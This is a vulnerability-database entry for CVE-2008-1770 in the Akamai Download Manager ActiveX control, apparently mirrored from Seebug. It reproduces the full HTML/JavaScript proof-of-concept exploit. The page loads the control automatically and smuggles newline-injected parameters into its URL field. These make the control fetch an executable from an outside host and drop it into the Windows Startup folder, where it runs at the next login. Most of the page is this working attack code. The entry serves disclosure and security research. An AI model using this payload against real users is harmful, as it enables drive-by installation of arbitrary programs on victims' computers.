Lucene search
K

Akamai下载管理器参数注入漏洞

🗓️ 06 Jun 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 40 Views

Akamai下载管理器参数注入漏洞,远程攻击者可在用户系统中写入任意文

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
Akamai Download Manager ActiveX Control < 2.2.3.6 Arbitrary File Download
5 Jun 200800:00
nessus
Circl
CVE-2008-1770
4 Jun 200800:00
circl
CVE
CVE-2008-1770
4 Jun 200821:00
cve
Cvelist
CVE-2008-1770
4 Jun 200821:00
cvelist
Kaspersky
KLA10054 ACE vulnerability in Akamai Download Manager
4 Jun 200800:00
kaspersky
NVD
CVE-2008-1770
4 Jun 200821:32
nvd
Prion
Crlf injection
4 Jun 200821:32
prion
securityvulns
Akamai Technologies Security Advisory 2008-0001 &#40;Download Manager&#41;
5 Jun 200800:00
securityvulns
securityvulns
Akamai Download Manager File Downloaded To Arbitrary Location Vulnerability
5 Jun 200800:00
securityvulns
securityvulns
Akamai Download Manager ActiveX code execution
5 Jun 200800:00
securityvulns
Rows per page

                                                &lt;html&gt;


&lt;!--

/**********************************************************************************
Exploit start here, by cocoruder(frankruder_at_hotmail.com)
For &quot;Akamai Download Manager File Download To Arbitrary Location Vulnerability&quot;.

This exploit will download &quot;http://ruder.cdut.net/attach/calc.exe&quot; to &quot;C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\calc_run.exe&quot;.
***********************************************************************************/



DLM: v2.2.3
Received: ActiveX, v2.2.3.5
Reason: MSIE 6
Language: en (Automatically detected)


--&gt;

&lt;head&gt;

&lt;!-- Begin head fragment --&gt;




&lt;title&gt;Download Manager&lt;/title&gt;
&lt;script TYPE=&quot;text/javascript&quot; LANGUAGE=&quot;javascript&quot;&gt;
window.resizeTo(500,510);
&lt;/script&gt;



&lt;!-- End head fragment --&gt;

&lt;script language=&quot;JavaScript&quot;&gt;

var bDocReady = false;
var bInsObj = false;
var isLinux = (navigator.userAgent.indexOf(&quot;Linux&quot;) &gt;= 0);
var isMacFF = (navigator.userAgent.indexOf(&quot;Firefox&quot;) &gt;= 0 &amp;&amp; navigator.userAgent.indexOf(&quot;Mac&quot;) &gt;= 0);
var isSafari = (navigator.userAgent.indexOf(&quot;Safari&quot;) &gt;= 0);
var isSolaris = (navigator.userAgent.indexOf(&quot;Sun&quot;) &gt;= 0);
var isWinFF = (navigator.userAgent.indexOf(&quot;Firefox&quot;) &gt;= 0 &amp;&amp; navigator.userAgent.indexOf(&quot;Windows&quot;) &gt;= 0);
var isIE7 = (navigator.userAgent.indexOf(&quot;MSIE 7&quot;) &gt;= 0);

function doLoad() {

// Start automatically
setTimeout(&quot;startDLM();&quot;, 1000);

return;
}




var bdmIsReady = false;
var bDMStarted = false;
var bDMFailed = false;
var bShutdown = false;

var startTries = 0;

function closeIt() {
if (isIE7) {
return;
}

if (bDMStarted &amp;&amp; !bShutdown) {
event.returnValue = &quot;The Download Manager is still running.\n&quot;
&quot;Pressing 'OK' will stop any active downloads and close the Download Manager.&quot;;
}
}



&lt;/script&gt;


&lt;noscript&gt;&lt;meta http-equiv=&quot;Refresh&quot; c /&gt;&lt;/noscript&gt;


&lt;/head&gt;

&lt;body &gt;

&lt;!-- Begin body fragment --&gt;





&lt;table cellpadding=&quot;10&quot; cellspacing=&quot;0&quot; border=&quot;0&quot;&gt;
&lt;tr&gt;&lt;td&gt;
&lt;strong&gt;About the Download Manager&lt;/strong&gt;&lt;br&gt;
&lt;p&gt;The Download Manager provides for more effective, more efficient file downloads than you normally see with your browser, especially for large files or file sets. It can pause and restart downloads even if you turn your computer off and on again. You will be presented with a security warning and after you accept, the Download Manager will install and begin to download the requested file.&lt;/p&gt;
&lt;p&gt;Should the Download Manager fail to start, or if you do not accept the security certificate, you can &lt;a href=http://dlm.tools.akamai.com/tools_files/Readme.txt&gt;click here&lt;/a&gt; to download the file without using the download manager.&lt;/p&gt;&lt;p/&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;




&lt;!-- End body fragment --&gt;

&lt;DIV ID=&quot;objectDIV&quot;&gt;&lt;/DIV&gt;

&lt;script language=&quot;JavaScript&quot;&gt;




// Initiate shutdown
function doDLMShutdown() {
if (bShutdown) {
return;
}

bShutdown = true;
window.opener = null;
window.close();
}


// Initiate the download
function doStart() {
startTries ;
if (startTries &gt; 120) {
bDMFailed = true;
return;
}

try {
var dm = document.getElementById(&quot;dm&quot;);
if (dm == null) {
bDMFailed = true;
return;
}
dm.detachEvent(&quot;DLMShutdown&quot;, doDLMShutdown);
dm.attachEvent(&quot;DLMShutdown&quot;, doDLMShutdown);


dm.StartDownload();

bDMStarted = true;
} catch (e) {
bDMStarted = false;
if (e.description != &quot;object Error&quot;) {
bDMFailed = true;
}
}
}

// Start the DLM
function startDLM() {

//alert(&quot;pause&quot;);

if (bDocReady) {
insertObj();
if (bdmIsReady) {
doStart();
}
}

if (bDMFailed) {
// Don't try to go direct, since this happens by
// default on XP SP2 and above.
return;
}

if (!bDMStarted) {
setTimeout(&quot;startDLM();&quot;, 500);
}
}

// Check if the DM object is fully loaded
function dmReady() {
var dm = document.getElementById(&quot;dm&quot;);
if (dm == null) {
bDMFailed = true;
return;
}

if (dm.readyState == 4) {
bdmIsReady = true;
}
}


// Check if the document is fully loaded
function docReady() {
if (document.readyState == &quot;complete&quot;) {
bDocReady = true;
} else {
bDocReady = false;
}
}

// Insert the code to create the DM object
function insertObj() {
// Only insert the object once
if (!bInsObj) {
bInsObj = true;

// Create object tag


var sObjHTML = &quot;&lt;object id=\&quot;dm\&quot; classid=\&quot;CLSID:4871A87A-BFDD-4106-8153-FFDE2BAC2967\&quot; CODEBASE=\&quot;http://dlm.tools.akamai.com/dlmanager/versions/activex/dlm-activex-2.2.3.5.cab#Version=2,2,3,5\&quot; width=1 height=1&gt; &quot;
&quot; &lt;PARAM name=\&quot;logging\&quot; value=\&quot;1\&quot;/&gt; &quot;

&quot; &lt;PARAM name=\&quot;version\&quot; value=\&quot;2.2.3\&quot;/&gt; &quot;



/**********************************************************************************
Exploit start here, by cocoruder(frankruder_at_hotmail.com)
For &quot;Akamai Download Manager File Download To Arbitrary Location Vulnerability&quot;.

This exploit will download &quot;http://ruder.cdut.net/attach/calc.exe&quot; to &quot;C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\calc_run.exe&quot;.
***********************************************************************************/

&quot; &lt;PARAM name=\&quot;URL\&quot; value=\&quot;http://ruder.cdut.net/attach/calc.exe\x0Areferer=http://ruder.cdut.net\x0Amd5=\x0Atarget=C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\calc_run.exe\x0AlogoURL=\x0AiconURL=\x0AproviderName=\x0Alaunch=\x0AcloseWhenDone=yes\x0Aresumable=\x0AdisregardQryStr=\x0AmaxCon=4\x0AinitialView=summary\x0AxPos=100\x0AyPos=100\x0Aicon=true\x0Aencrypt=\x0Alogging=1\x0AfgColor=\x0AbgColor=\x0ArecoveryUrl=http://dlm.tools.akamai.com/Readme.txt\x0AflushSize=32\x0Alanguage=en\x0AuseMD5=\x0AuseStateReporting=1\x0AbundleDetails=\x0AbundleEnabled=\x0ArequestSize=1024\x0AswooshEnabled=\x0AswooshInstall=\x0Acookie=\&quot;/&gt; &quot;



&quot; &lt;PARAM name=\&quot;recoveryURL\&quot; value=\&quot;http://dlm.tools.akamai.com/Readme.txt\&quot;/&gt; &quot;
&quot; &lt;PARAM name=\&quot;language\&quot; value=\&quot;en\&quot;/&gt; &quot;
&quot; &lt;PARAM name=\&quot;providerName\&quot; value=\&quot;\&quot;/&gt; &quot;
&quot; &lt;PARAM name=\&quot;maxCon\&quot; value=\&quot;4\&quot;/&gt; &quot;
&quot; &lt;PARAM name=\&quot;maxConn\&quot; value=\&quot;4\&quot;/&gt; &quot;
&quot; &lt;PARAM name=\&quot;requestSize\&quot; value=\&quot;1024\&quot;/&gt; &quot;
&quot; &lt;PARAM name=\&quot;flushSize\&quot; value=\&quot;32\&quot;/&gt; &quot;


&quot; &lt;PARAM name=\&quot;initialView\&quot; value=\&quot;summary\&quot;/&gt; &quot;



&quot; &lt;PARAM name=\&quot;icon\&quot; value=\&quot;true\&quot;/&gt; &quot;






&quot; &lt;PARAM name=\&quot;launch\&quot; value=\&quot;no\&quot;/&gt; &quot;


&quot; &lt;PARAM name=\&quot;closeWhenDone\&quot; value=\&quot;no\&quot;/&gt; &quot;







&quot;&lt;/object&gt; &quot;;


objdiv = document.getElementById(&quot;objectDIV&quot;);
if (objdiv == null) {

document.location.replace(&quot;http://dlm.tools.akamai.com/tools_files/Readme.txt&quot;);

return;
}



objdiv.innerHTML = sObjHTML;

if (dm == null) {
bDMFailed = true;
}

// Set up handler for DM readystate change
dm.onreadystatechange = dmReady;
dmReady();



}
}



// Set up handler for document readystate change
document.onreadystatechange = docReady;



&lt;/script&gt;

&lt;/body&gt;

&lt;/html&gt; 
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jun 2008 00:00Current
6.4Medium risk
Vulners AI Score6.4
EPSS0.13501
40